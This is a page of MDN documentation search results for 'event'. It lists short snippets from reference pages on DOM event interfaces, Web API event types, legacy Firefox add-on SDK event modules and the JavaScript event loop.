...during this interaction, an application receives touch events during the start, move, and end phases.
...And 26 more matches
EventSource - Web APIs
the eventsource interface is web content's interface to server-sent events.
... an eventsource instance opens a persistent connection to an http server, which sends events in text/event-stream format.
... the connection remains open until closed by calling eventsource.close().
...And 24 more matches
Mouse gesture events - Developer guides
gecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures.
... note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page content.
... note: some operating systems, including mac os x and windows 7, provide default actions when gesture events occur.
...And 23 more matches
event/core - Archive of obsolete content
the event/core module allows the creation of apis to broadcast and subscribe to events.
... usage many modules in the sdk can broadcast events.
... for example, the tabs module emits an open event when a new tab is opened.
...And 22 more matches
WindowEventHandlers - Web APIs
the windoweventhandlers mixin describes the event handlers common to several interfaces like window, or htmlbodyelement and htmlframesetelement.
... each of these interfaces can implement additional specific event handlers.
... note: windoweventhandlers is a mixin and not an interface; you can't actually create an object of type windoweventhandlers.
...And 21 more matches
DragEvent - Web APIs
WebAPIDragEvent
the dragevent interface is a dom event that represents a drag and drop interaction.
... this interface inherits properties from mouseevent and event.
... properties dragevent.datatransfer read only the data that is transferred during a drag and drop interaction.
...And 20 more matches
UIEvent - Web APIs
WebAPIUIEvent
the uievent interface represents simple user interface events.
... uievent derives from event.
... although the uievent.inituievent() method is kept for backward compatibility, you should create a uievent object using the uievent() constructor.
...And 20 more matches
Event developer guide - Developer guides
WebGuideEvents
events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.
... the custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.
... the remaining pages describe how to use events of different kinds defined by web browsers.
...And 20 more matches
Working with Events - Archive of obsolete content
the add-on sdk supports event-driven programming.
... objects emit events on state changes that might be of interest to add-on code, such as browser windows opening, pages loading, network requests completing, and mouse clicks.
... by registering a listener function to an event emitter an add-on can receive notifications of these events.
...And 19 more matches
Creating Event Targets - Archive of obsolete content
the guide to event-driven programming with the sdk describes how to consume events: that is, how to listen to events generated by event targets.
... for example, you can listen to the tabs module's ready event or the panel object's show event.
... with the sdk, it's also simple to implement your own event targets.
...And 19 more matches
Event Handlers - Archive of obsolete content
event handlers are defined using handler elements.
... a handler specifies what event it is listening for using the event attribute.
... the handler contains script that is executed when an event flows to the object the handler is attached to and if that event matches all of the criteria specified by the handler.
...And 18 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
« previousnext » next, we'll find out how to add event handlers to xbl-defined elements.
... event handlers as you might expect, mouse clicks, key presses and other events are passed to each of the elements inside the content.
... however, you may wish to trap the events and handle them in a special way.
...And 18 more matches
React interactivity: Events and state - Learn web development
in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed.
... objective: to learn about handling events and state in react, and use those to start making the case study app interactive.
... handling events if you've only written vanilla javascript before now, you might be used to having a separate javascript file, where you query for some dom nodes and attach listeners to them.
...And 18 more matches
MSGestureEvent - Web APIs
the msgestureevent is a proprietary interface specific to internet explorer and microsoft edge which represents events that occur due to touch gestures.
... events using this interface include msgesturestart, msgestureend, msgesturetap, msgesturehold, msgesturechange, and msinertiastart.
... msgestureevent derives from uievent, which in turn derives from event.
...And 18 more matches
WheelEvent - Web APIs
the wheelevent interface represents events that occur due to the user moving a mouse wheel or similar input device.
... important: this is the standard wheel event interface to use.
... old versions of browsers implemented the non-standard and non-cross-browser-compatible mousewheelevent and mousescrollevent interfaces.
...And 18 more matches
nsIDOMMouseScrollEvent
dom/interfaces/events/nsidommousescrollevent.idlscriptable this interface represents a mouse scroll wheel event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent.
... method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis long indicates which mouse wheel axis changed; this will be either horizontal_axis or vertical_axis.
...And 17 more matches
nsIEventTarget
xpcom/threads/nsieventtarget.idlscriptable a target for events.
... events may be sent to this target from any thread by calling the dispatch method.
... implement this interface in order to support receiving events from other threads.
...And 17 more matches
FetchEvent - Web APIs
this is the event type for fetch events dispatched on the service worker global scope.
...it provides the event.respondwith() method, which allows us to provide a response to this fetch.
... constructor fetchevent() creates a new fetchevent object.
...And 17 more matches
MSSiteModeEvent - Web APIs
mssitemodeevent provides event properties that are specific to pinned site events.
... dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created.
... *note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated.
...And 16 more matches
Using Pointer Events - Web APIs
this guide demonstrates how to use pointer events and the html <canvas> element to build a multi-touch enabled drawing application.
... this example is based on the one in the touch events overview, except it uses the pointer events input event model.
... another difference is that because pointer events are pointer device agnostic, the application accepts coordinate-based inputs from a mouse, a pen, or a fingertip using the same code.
...And 16 more matches
MessageEvent - Web APIs
the messageevent interface represents a message received by a target object.
... this is used to represent messages in: server-sent events (see eventsource.onmessage).
... the action triggered by this event is defined in a function set as the event handler for the relevant message event (e.g.
...And 15 more matches
Window: popstate event - Web APIs
the popstate event of the window interface is fired when the active history entry changes while the user navigates the session history.
... bubbles yes cancelable no interface popstateevent event handler property onpopstate the history stack if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
... these methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document.
...And 15 more matches
Set event listener breakpoints - Firefox Developer Tools
starting with firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler.
... using a standard event breakpoint to use an event breakpoint, you open up the javascript debugger, and find and expand the event listener breakpoints section in the right hand column.
... to break when event listeners are hit, check the boxes next the events you are interested in.
...And 14 more matches
KeyboardEvent() - Web APIs
the keyboardevent() constructor creates a new keyboardevent.
... syntax event = new keyboardevent(typearg, keyboardeventinit); values typearg is a domstring representing the name of the event.
... keyboardeventinitoptional is a keyboardeventinit dictionary, having the following fields: "key", optional and defaulting to "", of type domstring, that sets the value of keyboardevent.key.
...And 14 more matches
SecurityPolicyViolationEvent - Web APIs
the securitypolicyviolationevent interface inherits from event, and represents the event object of an event sent on a document or worker when its content security policy is violated.
... constructor securitypolicyviolationevent() creates a new securitypolicyviolationevent object instance.
... properties securitypolicyviolationevent.blockeduriread only a usvstring representing the uri of the resource that was blocked because it violates a policy.
...And 14 more matches
Creating and triggering events - Developer guides
this article demonstrates how to create and dispatch dom events.
... such events are commonly called synthetic events, as opposed to the events fired by the browser itself.
... creating custom events events can be created with the event constructor as follows: const event = new event('build'); // listen for the event.
...And 14 more matches
Events and the DOM - Web APIs
introduction this chapter describes the dom event model.
... the event interface itself is described, as well as the interfaces for event registration on nodes in the dom, and event listeners, and several longer examples that show how the various event interfaces relate to one another.
... there is an excellent diagram that clearly explains the three phases of event flow through the dom in the dom level 3 events draft.
...And 13 more matches
FetchEvent.respondWith() - Web APIs
the respondwith() method of fetchevent prevents the browser's default fetch handling, and allows you to provide a promise for a response yourself.
...for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors".
... this prevents the leaking of private data.
...And 13 more matches
GlobalEventHandlers.onpointerdown - Web APIs
the globaleventhandlers event handler onpointerdown is used to specify the event handler for the pointerdown event, which is fired when the pointing device is initially pressed.
... this event can be sent to window, document, and element objects.
... this is functionally equivalent to the mousedown event when generated due to user activity with a mouse or mouse-compatible device.
...And 13 more matches
nsIDOMSimpleGestureEvent
dom/interfaces/events/nsidomsimplegestureevent.idlscriptable this interface describes a mouse or trackpad gesture event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
... the following events are generated: mozswipegesture - generated when the user completes a swipe across across the input device.
...And 12 more matches
Document.createEvent() - Web APIs
many methods used with createevent, such as initcustomevent, are deprecated.
... use event constructors instead.
... creates an event of the type specified.
...And 12 more matches
Comparison of Event Targets - Web APIs
event targets it's easy to get confused about which target to examine when writing an event handler.
... there are five targets to consider: property defined in purpose event.target dom event interface the dom element on the lefthand side of the call that triggered this event, eg: element.dispatchevent(event) event.currenttarget dom event interface the eventtarget whose eventlisteners are currently being processed.
... as the event capturing and bubbling occurs, this value changes.
...And 12 more matches
Event.cancelable - Web APIs
WebAPIEventcancelable
the cancelable read-only property of the event interface indicates whether the event can be canceled, and therefore prevented as if the event never happened.
... if the event is not cancelable, then its cancelable property will be false and the event listener cannot stop the event from occurring.
... event listeners that handle multiple kinds of events may want to check cancelable before invoking their preventdefault() methods.
...And 12 more matches
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle.
... this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.
... if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises.
...And 12 more matches
Element: mouseenter event - Web APIs
the mouseenter event is fired at an element when a pointing device (usually a mouse) is initially moved so that its hotspot is within the element at which the event was fired.
... bubbles no cancelable no interface mouseevent event handler property onmouseenter usage notes though similar to mouseover, mouseenter differs in that it doesn't bubble and it isn't sent to any descendants when the pointer is moved from one of its descendants' physical space to its own physical space.
... one mouseenter event is sent to each element of the hierarchy when entering them.
...And 11 more matches
GestureEvent - Web APIs
the gestureevent is a proprietary interface specific to webkit which gives information regarding multi-touch gestures.
... events using this interface include gesturestart, gesturechange, and gestureend.
... gestureevent derives from uievent, which in turn derives from event.
...And 11 more matches
GlobalEventHandlers.onerror - Web APIs
the onerror property of the globaleventhandlers mixin is an eventhandler that processes error events.
... error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
... when a resource (such as an <img> or <script>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked.
...And 11 more matches
ServiceWorkerMessageEvent - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the serviceworkermessageevent interface of the serviceworker api contains information about an event sent to a serviceworkercontainer target.
... this extends the default message event to allow setting a serviceworker object as the source of a message.
...And 11 more matches
system/events - Archive of obsolete content
usage the system/events module provides core (low level) api for working with the application observer service, also known as nsiobserverservice.
... you can find a list of events dispatched by the firefox codebase here.
... var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type.
...And 10 more matches
NPP_HandleEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary delivers a platform-specific window event to the instance.
... syntax #include <npapi.h> int16 npp_handleevent(npp instance, void* event); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... event platform-specific value representing the event handled by the function.
...And 10 more matches
Element: DOMMouseScroll event - Web APIs
the dom dommousescroll event is fired asynchronously when mouse wheel or similar device is operated and the accumulated scroll amount is over 1 line or 1 page since last event.
... it's represented by the mousescrollevent interface.
... this event was only implemented by firefox.
...And 10 more matches
Element: click event - Web APIs
an element receives a click event when a pointing device button (such as a mouse's primary mouse button) is both pressed and released while the pointer is located inside the element.
... bubbles yes cancelable yes interface mouseevent event handler property onclick if the button is pressed on one element and the pointer is moved outside the element before the button is released, the event is fired on the most specific ancestor element that contained both elements.
... click fires after both the mousedown and mouseup events have fired, in that order.
...And 10 more matches
InputEvent - Web APIs
the inputevent interface represents an event notifying of editable content change.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"...
...><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/inputevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">inputevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
...And 10 more matches
KeyboardEvent.getModifierState() - Web APIs
the keyboardevent.getmodifierstate() method returns the current state of the specified modifier key: true if the modifier is active (that is the modifier key is pressed or locked), otherwise, false.
... syntax var active = event.getmodifierstate(keyarg); returns a boolean parameters keyarg a modifier key value.
... the value must be one of the keyboardevent.key values which represent modifier keys, or the string "accel" .
...And 10 more matches
RTCTrackEvent - Web APIs
the webrtc api interface rtctrackevent represents the track event, which is sent when a new mediastreamtrack is added to an rtcrtpreceiver which is part of the rtcpeerconnection.
... this event is sent by the webrtc layer to the web site or application, so you will not typically need to instantiate an rtctrackevent yourself.
... constructor rtctrackevent() creates and returns a new rtctrackevent object, initialized with properties taken from the specified rtctrackeventinit dictionary.
...And 10 more matches
Window: beforeunload event - Web APIs
the beforeunload event is fired when the window, the document and its resources are about to be unloaded.
... the document is still visible and the event is still cancelable at this point.
... bubbles no cancelable yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page.
...And 10 more matches
WindowEventHandlers.onbeforeunload - Web APIs
the onbeforeunload property of the windoweventhandlers mixin is the eventhandler for processing beforeunload events.
... these events fire when a window is about to unload its resources.
... at this point, the document is still visible and the event is still cancelable.
...And 10 more matches
JS_PreventExtensions
syntax // added in spidermonkey 45 bool js_preventextensions(jscontext *cx, js::handleobject obj, js::objectopresult &result); // obsolete since jsapi 39 bool js_preventextensions(jscontext *cx, js::handleobject obj, bool *succeeded); name type description cx jscontext * the context.
... in javascript this may be accomplished using the object.preventextensions method.
... the similar jsapi method is js_preventextensions.
...And 9 more matches
Mail event system
mozilla mail requires an event system to notify different subsystems that data has changed.
... this document describes the system that events are passed amongst the mail objects.
... methods each event type has a two methods associated with it: notify*<event> - in the nsifolder interface, and nsimsgmailsession interface.
...And 9 more matches
CloseEvent - Web APIs
a closeevent is sent to clients using websockets when the connection is closed.
... constructor closeevent() creates a new closeevent.
... properties this interface also inherits properties from its parent, event.
...And 9 more matches
Element: mousewheel event - Web APIs
the obsolete and non-standard mousewheel event is fired asynchronously at an element to provide updates while a mouse wheel or similar device is operated.
... the mousewheel event was never part of any standard, and while it was implemented by several browsers, it was never implemented by firefox.
... important: instead of this obsolete event, use the standard wheel event.
...And 9 more matches
ErrorEvent - Web APIs
the errorevent interface represents events providing information related to errors in scripts or in files.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/errorevent" target="_top"><rect x="11...
...6" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">errorevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent event.
...And 9 more matches
EventTarget - Web APIs
eventtarget is a dom interface implemented by objects that can receive events and may have listeners for them.
... element, document, and window are the most common event targets, but other objects can be event targets, too.
... many event targets (including elements, documents, and windows) also support setting event handlers via onevent properties and attributes.
...And 9 more matches
ExtendableMessageEvent - Web APIs
the extendablemessageevent interface of the service worker api represents the event object of a message event fired on a service worker (when a message is received on the serviceworkerglobalscope from another context) — extends the lifetime of such events.
... this interface inherits from the extendableevent interface.
... constructor extendablemessageevent() creates a new extendablemessageevent object instance.
...And 9 more matches
GlobalEventHandlers.onanimationcancel - Web APIs
the onanimationcancel property of the globaleventhandlers mixin is the eventhandler for processing animationcancel events.
... an animationcancel event is sent when a css animation unexpectedly aborts, that is, any time it stops running without sending an animationend event.
... syntax var animcancelhandler = target.onanimationcancel; target.onanimationcancel = function value a function to be called when an animationcancel event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...And 9 more matches
InstallEvent - Web APIs
the parameter passed into the oninstall handler, the installevent interface represents an install action that is dispatched on the serviceworkerglobalscope of a serviceworker.
... as a child of extendableevent, it ensures that functional events such as fetchevent are not dispatched during installation.
... this interface inherits from the extendableevent interface.
...And 9 more matches
MouseEvent() - Web APIs
the mouseevent() constructor creates a new mouseevent.
... syntax event = new mouseevent(typearg, mouseeventinit); values typearg is a domstring representing the name of the event.
... mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
...And 9 more matches
Online and offline events - Web APIs
some browsers implement online/offline events from the whatwg web applications 1.0 specification.
... it is this process that online/offline events help to simplify.
... "online" and "offline" events firefox 3 introduces two new events: "online" and "offline".
...And 9 more matches
ProgressEvent - Web APIs
the progressevent interface represents events measuring progress of an underlying process, like an http request (for an xmlhttprequest, or the loading of the underlying resource of an <img>, <audio>, <video>, <style> or <link>).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/progressevent" target=...
..."_top"><rect x="116" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">progressevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor progressevent() creates a progressevent event with the given parameters.
...And 9 more matches
RTCDataChannelEvent() - Web APIs
the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.
... you will rarely if ever construct an rtcdatachannelevent by hand; these events are normally created and sent by the webrtc layer itself.
... syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a domstring which specifies the name of the event.
...And 9 more matches
RTCPeerConnection: icecandidate event - Web APIs
an icecandidate event is sent to an rtcpeerconnection when an rtcicecandidate has been identified and added to the local peer by a call to rtcpeerconnection.setlocaldescription().
... the event handler should transmit the candidate to the remote peer over the signaling channel so the remote peer can add it to its set of remote candidates.
... bubbles no cancelable no interface rtcpeerconnectioniceevent event handler property rtcpeerconnection.onicecandidate description there are three reasons why the icecandidate event is fired on an rtcpeerconnection.
...And 9 more matches
TrackEvent - Web APIs
the trackevent interface, which is part of the html dom specification, is used for events which represent changes to a set of available tracks on an html media element; these events are addtrack and removetrack.
... it's important not to confuse trackevent with the rtctrackevent interface, which is used for tracks which are part of an rtcpeerconnection.
... events based on trackevent are always sent to one of the media track list types: events involving video tracks are always sent to the videotracklist found in htmlmediaelement.videotracks events involving audio tracks are always sent to the audiotracklist specified in htmlmediaelement.audiotracks events affecting text tracks are sent to the texttracklist object indicated by htmlmediaelement.texttracks.
...And 9 more matches
TransitionEvent - Web APIs
the transitionevent interface represents events providing information related to transitions.
... constructor transitionevent() creates a transitionevent event with the given parameters.
... properties also inherits properties from its parent event.
...And 9 more matches
XRSession: selectend event - Web APIs
the webxr event selectend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onselectend for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
... examples the following example uses addeventlistener() to establish handlers for the selection events: selectstart, selectend, and select.
...And 9 more matches
XRSession: selectstart event - Web APIs
the webxr event selectstart is sent to an xrsession when the user begins a primary action on one of its input sources.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onselectstart for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
... examples the following example uses addeventlistener() to establish handlers for the selection events: selectstart, selectend, and select.
...And 9 more matches
XRSession: squeezeend event - Web APIs
the webxr event squeezeend is sent to an xrsession when one of its input sources ends its primary action or when an input source that's in the process of handling an ongoing primary action is disconnected without successfully completing the action.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezeend for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
... examples the following example uses addeventlistener() to establish handlers for the squeezeion events: squeezestart, squeezeend, and squeeze.
...And 9 more matches
XRSession: squeezestart event - Web APIs
the webxr event squeezestart is sent to an xrsession when the user begins a primary squeeze action on one of its input sources.
... bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueezestart for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
... examples the following example uses addeventlistener() to establish handlers for the squeezeion events: squeezestart, squeezeend, and squeeze.
...And 9 more matches
Concurrency model and the event loop - JavaScript
javascript has a concurrency model based on an event loop, which is responsible for executing the code, collecting and processing events, and executing queued sub-tasks.
... at some point during the event loop, the runtime starts handling the messages on the queue, starting with the oldest one.
...then, the event loop will process the next message in the queue (if there is one).
...And 9 more matches
Gecko Keypress Event
charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/command)), then the properties of the event are the same as they were in gecko1.8.1.
... when the keypress event includes modifier keys, sometimes the charcode value is replaced with an ascii character according to the following rules.
... when the accel key is down, the charcode of a keypress event may be replaced with a character from a latin keyboard layout only when the original character is not an ascii character.
...And 8 more matches
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
... 1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download.
... this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent.
...And 8 more matches
nsIDOMStorageEventObsolete
dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage.
... 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed.
... note: this interface describes the old, non-standard form of this event.
...And 8 more matches
AnimationEvent - Web APIs
the animationevent interface represents events providing information related to animations.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/animationevent" target...
...="_top"><rect x="116" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">animationevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor animationevent() creates an animationevent event with the given parameters.
...And 8 more matches
CompositionEvent - Web APIs
the dom compositionevent represents events that occur due to the user indirectly entering text.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"...
...><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/compositionevent" target="_top"><rect x="231" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">compositionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-eve...
...And 8 more matches
Element: mousedown event - Web APIs
the mousedown event is fired at an element when a pointing device button is pressed while the pointer is inside the element.
... note: this differs from the click event in that click is fired after a full click action occurs; that is, the mouse button is pressed and released while the pointer remains inside the same element.
... bubbles yes cancelable yes interface mouseevent event handler property onmousedown examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
...And 8 more matches
Element: mouseleave event - Web APIs
the mouseleave event is fired at an element when the cursor of a pointing device (usually a mouse) is moved out of it.
... bubbles no cancelable no interface mouseevent event handler property onmouseleave mouseleave and mouseout are similar but differ in that mouseleave does not bubble and mouseout does.
... one mouseleave event is sent to each element of the hierarchy when leaving them.
...And 8 more matches
Element: mouseup event - Web APIs
the mouseup event is fired at an element when a button on a pointing device (such as a mouse or trackpad) is released while the pointer is located inside it.
... mouseup events are the counterpoint to mousedown events.
... bubbles yes cancelable yes interface mouseevent event handler property onmouseup examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
...And 8 more matches
Event.composed - Web APIs
WebAPIEventcomposed
the read-only composed property of the event interface returns a boolean which indicates whether or not the event will propagate across the shadow dom boundary into the standard dom.
... syntax const iscomposed = event.composed; value a boolean which is true if the event will cross from the shadow dom into the standard dom after reaching the shadow root.
... (that is, the first node in the shadow dom in which the event began to propagate.) all ua-dispatched ui events are composed (click/touch/mouseover/copy/paste, etc.).
...And 8 more matches
HTMLElement: transitionend event - Web APIs
the transitionend event is fired when a css transition has completed.
... in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
...And 8 more matches
NotificationEvent - Web APIs
the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispatched on the serviceworkerglobalscope of a serviceworker.
... this interface inherits from the extendableevent interface.
... constructor notificationevent() creates a new notificationevent object.
...And 8 more matches
PointerEvent.pointerType - Web APIs
